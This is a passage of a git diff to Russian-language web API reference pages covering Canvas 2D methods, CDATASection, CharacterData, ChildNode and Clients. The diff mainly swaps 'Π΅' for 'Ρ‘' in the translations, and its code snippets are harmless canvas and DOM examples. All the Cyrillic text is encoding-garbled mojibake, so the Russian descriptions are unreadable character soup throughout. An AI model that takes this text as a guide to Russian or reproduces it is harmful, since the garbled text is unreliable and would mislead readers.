+<p><code>Бвойство<strong> CanvasRenderingContext2D</strong></code><strong><code>.lineWidth</code></strong>, прСдоставляСмоС Canvas 2D API Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ‚ΠΎΠ»Ρ‰ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΉ Π² пиксСлах. ΠŸΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ свойства возвращаСтся Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠŸΡ€ΠΈ Π·Π°Π΄Π°Π½ΠΈΠΈ свойства, присваиваСмоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ числом, ноль, ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ числа, {{jsxref("Infinity")}} ΠΈ {{jsxref("NaN")}} ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
<p>Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ Π³Π»Π°Π²ΡƒΒ  <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> Π² <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
index 532fdf1fdc..54b62df40b 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rect
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, прСдоставляСмый Canvas 2D API, создаСт ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ <em>(x, y)</em>, Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ <em>width</em> ΠΈ <em>height</em>. Π§Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ прямыми линиями, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠΈΠΉΡΡ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° отмСчаСтся ΠΊΠ°ΠΊ Π·Π°ΠΌΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π·Π°Π»ΠΈΠ²ΠΊΡƒ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.rect()</code></strong>, прСдоставляСмый Canvas 2D API, создаёт ΠΊΠΎΠ½Ρ‚ΡƒΡ€ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈΒ <em>(x, y)</em>, Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ <em>width</em> ΠΈ <em>height</em>. Π§Π΅Ρ‚Ρ‹Ρ€Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ прямыми линиями, ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠΈΠΉΡΡ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° отмСчаСтся ΠΊΠ°ΠΊ Π·Π°ΠΌΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π·Π°Π»ΠΈΠ²ΠΊΡƒ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
index 33feac8b7e..ee4375afd4 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/restore
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong>Β Π²ΠΎΡΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚Β ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΡΠΎΡ…Ρ€Π°Π½Π΅Π½Π½ΠΎΠ΅Β ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΠ΅Β ΠΊΠ°Π½Π²Π°ΡΠ°Β ΠΈΠ·Β ΡΡ‚Π΅ΠΊΠ°. Если состояниС Ρ€Π°Π½Π΅Π΅ Π½Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΠ»ΠΎΡΡŒ, Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.restore()</code></strong>Β Π²ΠΎΡΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚Β ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΡΠΎΡ…Ρ€Π°Π½Ρ‘Π½Π½ΠΎΠ΅Β ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΠ΅Β ΠΊΠ°Π½Π²Π°ΡΠ°Β ΠΈΠ·Β ΡΡ‚Π΅ΠΊΠ°. Если состояниС Ρ€Π°Π½Π΅Π΅ Π½Π΅ ΡΠΎΡ…Ρ€Π°Π½ΡΠ»ΠΎΡΡŒ, Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚.</p>
<p>Fore more information about the <a href="/en-US/docs/Web/API/CanvasRenderingContext2D.save#Drawing_state">drawing state</a>, see {{domxref("CanvasRenderingContext2D.save()")}}.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
index d750bcdee3..6e09b6a98b 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/rotate
<h3 id="ИспользованиС_ΠΌΠ΅Ρ‚ΠΎΠ΄Π°_rotate">ИспользованиС ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>rotate</code></h3>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>rotate</code>.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>rotate</code>.</p>
<h4 id="HTML">HTML</h4>
@@ -46,7 +46,7 @@ ctx.fillRect(70, 0, 100, 30);
ctx.setTransform(1, 0, 0, 1, 0, 0);
</pre>
-<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ ваши измСнСния Π½Π° холстС:</p>
+<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ ваши измСнСния Π½Π° холстС:</p>
<div class="hidden">
<h6 id="Playable_code">Playable code</h6>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
index 4f5e3a7386..7daaa192ed 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html
@@ -28,7 +28,7 @@ void <var><em>ctx</em>.stroke(path);</var>
<h3 id="ИспользованиС_ΠΌΠ΅Ρ‚ΠΎΠ΄Π°_stroke()">ИспользованиС ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>stroke()</code></h3>
-<p>Π’ этом примСрС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>rect()</code> создаСтся ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>stroke()</code> отрисовываСтся Π½Π° холстС.</p>
+<p>Π’ этом примСрС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>rect()</code> создаётся ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>stroke()</code> отрисовываСтся Π½Π° холстС.</p>
<h4 id="HTML">HTML</h4>
@@ -43,7 +43,7 @@ ctx.rect(10, 10, 100, 100);
ctx.stroke();
</pre>
-<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся рисунок на холстС:</p>
+<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся рисунок на холстС:</p>
<div class="hidden">
<h6 id="Playable_code">Playable code</h6>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
index a09679cce0..6d51e49f08 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeStyle
---
<div>{{APIRef}}</div>
-<p>Бвойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, прСдоставляСмоС Canvas 2D API Π·Π°Π΄Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ Ρ„ΠΈΠ³ΡƒΡ€. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>#000</code> (Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚).</p>
+<p>Бвойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, прСдоставляСмоС Canvas 2D API Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ Ρ„ΠΈΠ³ΡƒΡ€. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>#000</code> (Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚).</p>
<p>Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ Π³Π»Π°Π²Ρƒ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> Π² <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
index 4f7390f7cb..53126b08ed 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeText
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> прСдоставляСмый Canvas 2D API, выполняСт ΠΎΠ±Π²ΠΎΠ΄ΠΊΡƒ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ тСкста Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (<em>x, y</em>). Если ΡƒΠΊΠ°Π·Π°Π½ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствиС с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ максимальной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> прСдоставляСмый Canvas 2D API, выполняСт ΠΎΠ±Π²ΠΎΠ΄ΠΊΡƒ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ тСкста Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (<em>x, y</em>). Если ΡƒΠΊΠ°Π·Π°Π½ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствиС с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ максимальной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ.</p>
<p>Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("CanvasRenderingContext2D.fillText()")}} для Π·Π°Π»ΠΈΠ²ΠΊΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠ² тСкста.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
index 306558fa51..722612b831 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
@@ -56,7 +56,7 @@ ctx.textAlign = 'left';
ctx.strokeText('Hello world', 0, 100);
</pre>
-<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся вашС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° холстС:</p>
+<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся вашС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° холстС:</p>
<div class="hidden">
<h6 id="Playable_code" name="Playable_code">Playable code</h6>
diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html
index e660a2c42a..ab6f0be9d9 100644
--- a/files/ru/web/api/cdatasection/index.html
+++ b/files/ru/web/api/cdatasection/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/CDATASection
<pre class="brush:xml">&lt;foo&gt;Here is a CDATA section: &lt;![CDATA[ &lt; &gt; &amp; ]]&gt; with all kinds of unescaped text. &lt;/foo&gt;
</pre>
-<p>ЕдинствСнная ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (символов),Β Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Π°Ρ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°Β CDATA -Β  это сами символы закрытия Ρ€Π°Π·Π΄Π΅Π»Π° CDATA:</p>
+<p>ЕдинствСнная ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (символов),Β Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Π°Ρ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π°Β CDATA -Β  это сами символы закрытия Ρ€Π°Π·Π΄Π΅Π»Π° CDATA:</p>
<pre class="brush:xml">&lt;![CDATA[ ]]&gt; will cause an error ]]&gt;
</pre>
diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html
index 5c6d15ecdd..ccdd1d16b5 100644
--- a/files/ru/web/api/characterdata/index.html
+++ b/files/ru/web/api/characterdata/index.html
@@ -30,7 +30,7 @@ translation_of: Web/API/CharacterData
<dl>
<dt>{{domxref("CharacterData.appendData()")}}</dt>
- <dd>ДобавляСт ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ {{domxref("DOMString")}} ΠΊ строкС <code>CharacterData.data</code>; послС выполнСния Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Π΄Π°Π½Π½Ρ‹Π΅ содСрТат</span></font>Β ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ(элСмСнт)Β {{domxref("DOMString")}}.</dd>
+ <dd>ДобавляСт ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ {{domxref("DOMString")}} ΠΊ строкС <code>CharacterData.data</code>; послС выполнСния Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Π΄Π°Π½Π½Ρ‹Π΅ содСрТат</span></font>Β ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΉ(элСмСнт)Β {{domxref("DOMString")}}.</dd>
<dt>{{domxref("CharacterData.deleteData()")}}</dt>
<dd>УдаляСт ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ количСство символов, начиная с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ отступа, ΠΈΠ· строки <code>CharacterData.data</code>; послС выполнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π΄Π°Π½Π½Ρ‹Π΅(<code>data)</code> содСрТат ΡƒΡ€Π΅Π·Π°Π½Π½Ρ‹ΠΉ {{domxref("DOMString")}}.</dd>
<dt>{{domxref("CharacterData.insertData()")}}</dt>
diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html
index 0d1ebf46ec..f2367222f7 100644
--- a/files/ru/web/api/childnode/index.html
+++ b/files/ru/web/api/childnode/index.html
@@ -47,7 +47,7 @@ translation_of: Web/API/ChildNode
<tr>
<td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
<td>{{Spec2('DOM WHATWG')}}</td>
- <td>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code>ElementTraversal</code>Β  Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ Π½Π°Β {{domxref("ParentNode")}} ΠΈΒ <code>ChildNode</code>. Бвойства <code>previousElementSibling</code>Β ΠΈΒ <code>nextElementSibling</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² послСднСм.<br>
+ <td>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code>ElementTraversal</code>Β  Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½ Π½Π°Β {{domxref("ParentNode")}} ΠΈΒ <code>ChildNode</code>. Бвойства <code>previousElementSibling</code>Β ΠΈΒ <code>nextElementSibling</code> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² послСднСм.<br>
The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.<br>
Π”ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β <code>remove()</code>, <code>before()</code>, <code>after()</code>Β ΠΈΒ <code>replaceWith()</code>.</td>
</tr>
diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html
index 5c4528f98e..786b178e24 100644
--- a/files/ru/web/api/childnode/remove/index.html
+++ b/files/ru/web/api/childnode/remove/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/ChildNode/remove
<p>Β </p>
-<p>Π’ΠΎ, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· DOM, Π΅Ρ‰Π΅ Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΡƒΠ΄Π°Π»Π΅Π½ совсСм!Β </p>
+<p>Π’ΠΎ, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· DOM, Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ ΡƒΠ΄Π°Π»Ρ‘Π½ совсСм!Β </p>
<p>Он остался ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ ΠΈ исчСзнСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° исчСзнут всС ссылки Π½Π° Π½Π΅Π³ΠΎ.</p>
@@ -34,7 +34,7 @@ translation_of: Web/API/ChildNode/remove
<pre class="brush: js">var elem = document.querySelector("#one");
elem.remove();
alert(document.querySelector("#box").innerHTML); //Π˜ΡΡ‡Π΅Π· Π±Π»ΠΎΠΊ #one
-alert(elem); //Но ΠΊΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡ‚Π΅, сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΅Ρ‰Π΅ ΠΆΠΈΠ²</pre>
+alert(elem); //Но ΠΊΠ°ΠΊ Π²ΠΈΠ΄ΠΈΡ‚Π΅, сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΅Ρ‰Ρ‘ ΠΆΠΈΠ²</pre>
<h2 id="ΠŸΠΎΠ»ΠΈΡ„ΠΈΠ»">ΠŸΠΎΠ»ΠΈΡ„ΠΈΠ»</h2>
diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html
index 5372df8139..9d0ad8fdec 100644
--- a/files/ru/web/api/clients/index.html
+++ b/files/ru/web/api/clients/index.html
@@ -39,7 +39,7 @@ translation_of: Web/API/Clients
for (i = 0 ; i &lt; clients.length ; i++) {
if (clients[i] === 'index.html') {
clients.openWindow(clients[i]);
- // ΠΈΠ»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅, с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ подошСдшСго ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°
